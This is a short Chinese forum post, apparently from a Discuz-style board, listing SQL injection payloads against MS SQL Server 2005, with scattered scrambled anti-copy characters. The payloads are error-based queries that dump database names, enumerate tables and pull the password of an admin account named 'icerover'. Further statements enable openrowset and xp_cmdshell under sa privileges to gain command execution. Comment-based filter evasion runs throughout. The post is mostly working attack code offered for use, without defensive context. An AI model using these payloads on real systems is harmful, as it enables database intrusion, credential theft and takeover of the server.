MSsql2005注入语句

admin

" Y) Q- c* p0 K' l6 Y, q[Copy to clipboard]CODE:
$ h- l  @: E; |5 P/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

爆表语句,somedb部份是所要列的数据库，红色数字1累加

1 d3 `$ G# T" \( P0 i$ `, Q
[Copy to clipboard]CODE:
: R3 r! o3 ]$ O) ^# z/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
1 s- R5 {- q+ c" R
爆字段语句，爆表admin里user='icerover'的密码段
3 [; k8 y4 _# Y0 o2 Z$ k  [

4 B9 @; [, L6 q8 ^6 u[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
1 B8 {( _! _( _6 `
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启
8 L1 z* \& c0 \# S开启openrowset
7 X5 Q% t, [! a1 x
! i9 }- }3 _) @- }  |- m% s
$ H3 i$ a$ F8 V) O& ]) W9 y[Copy to clipboard]CODE:
$ O1 U. m) @2 d# H$ e/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
8 p. `  m: H' O0 D7 |/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
6 C5 i! \; n! K. }9 O7 P
开启xp_cmdshell
1 G8 t4 @. a/ [5 W2 v9 D5 ~8 m

* x& ~7 X, \( l6 @/ \8 @, P7 ~[Copy to clipboard]CODE:
: z' `* [" U& y6 j! m' LEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
" \6 F7 E) T# r& KEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
$ f5 I& R, I! \
ok,over~~晚安